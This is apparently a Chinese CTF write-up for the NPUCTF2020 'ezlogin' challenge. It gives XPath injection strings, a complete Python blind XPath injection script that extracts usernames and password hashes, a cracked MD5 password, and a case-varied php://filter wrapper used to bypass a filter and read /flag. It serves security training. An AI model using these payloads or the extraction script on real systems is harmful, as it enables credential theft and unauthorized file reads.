目录
前提知识
xpath基本语法
表达式 描述
nodename 选取此节点的所有子节点。
/ 从根节点选取。
// 从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置。
. 选取当前节点。
.. 选取当前节点的父节点。
@ 选取属性。
路径表达式 结果
bookstore 选取 bookstore 元素的所有子节点。
/bookstore 选取根元素 bookstore。
注释:假如路径起始于正斜杠( / ),则此路径始终代表到某元素的绝对路径!
bookstore/book 选取属于 bookstore 的子元素的所有 book 元素。
//book 选取所有 book 子元素,而不管它们在文档中的位置。
bookstore//book 选择属于 bookstore 元素的后代的所有 book 元素
//@lang 选取名为 lang 的所有属性。
通配符 描述
* 匹配任何元素节点。
@* 匹配任何属性节点。
node() 匹配任何类型的节点。
没有注释,不能像sql一样,用注释杀掉后面语句
xpath注入基础
见上篇文章
' or 1=1 or ''='
']|//*|//*['
//users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''='']
[NPUCTF2020]ezlogin
信息收集
main.js
var data = "<username>"+username+"</username>"+"<password>"+password+"</password>"+"<token>"+token+"</token>";
$.ajax({
type: "POST",
url: "login.php",
contentType: "application/xml",
data: data,
anysc: false,
success: function (result, status, xhr) {
if(result == '成功'){
window.location.href = 'admin.php';
}
$(".msg").text(result);
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
直接访问admin.php被重定向到index.php
提交后抓包看看
X-Requested-With: XMLHttpRequest
Content-Type: application/xml
这里看到XML自然联想到XXE和Xpath,再一看应该是xpath
Xpath盲注
尝试万能密码,非法操作
判断节点数测试
'or count(/)=2 or ''=' ###根节点数量为2
'or count(/)=1 or ''=' ###根节点数量为1
正确的时候返回非法操作,错误时显示用户名或密码错误,典型的盲注特征
抓包看看提交的内容编写payload
<username>'or substring(name(/*[1]), {X}, 1)='{Y}' or ''='</username><password>1</password><token>{token}</token> //这个playload会返回第一个节点的名称
在<username>里面的{X}中的X是一个变量,它指的是查询的元素X个字符,Y也是一个变量,是指我们猜测的字符,如果X=Y那么就会返回true,对应的我们的题目就会返回“非法操作!”
要注意的是,因为页面会不断的刷新,这个token的值也会一直变化,所以我们要保证每次请求数据都要拿到最新的token,name函数返回的是这个节点的元素名称。
去前端拿到token,生成正则
find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S)
盲注当然要用py脚本
import requests
import re
import time
session = requests.session()
url = "http://d892dbc8-6dca-4922-b353-a9322a234bc0.node4.buuoj.cn:81/"
chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
head = {
'Content-Type': 'application/xml',
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
}
find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S)
result = ""
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
def get_token(): #获取token的函数
resp = session.get(url=url) #如果在这里用headers会得到超时的界面
token = find.findall(resp.text)[0]
#print(token)
return token
for x in range(1,100):
for char in chars:
time.sleep(0.2)
token = get_token()
playload = payload_password.format(x, char, token) #根据上面的playload来改
#print(playload)
resp = session.post(url=url,headers=head, data=playload)
#print(resp.text)
if "非法操作" in resp.text:
result += char
print(result)
break
if "用户名或密码错误" in resp.text:
break
print(result)
这里时间睡眠需要在0.2或者以上,否则会获取不到token而报错哦;
chars可以根据情况调整优先位置可以更快的跑出来
跑出来大概是这样
<root>
<accounts>
<user>
<id></id>
<username>guster</username>
<password>e10adc3949ba59abbe56e057f20f883e</password>
</user>
<user>
<id></id>
<username>adm1n</username>
<password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
</user>
</accounts>
</root>
MD解密cf7414b5bdb2e65ee43083f4ddbc4d9f得到gtfly123
MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊
登录
Welcome!
ZmxhZyBpcyBpbiAvZmxhZwo=
flag is in /flag
/admin.php?file=/flag
?file=file:///flag
用伪协议
php://filter/convert.base64-encode/resource=/flag
依然被拦截
?file=PHP://filter/convert.Base64-Encode/resource=/flag
查看源码获得字符串,base64解密获得flag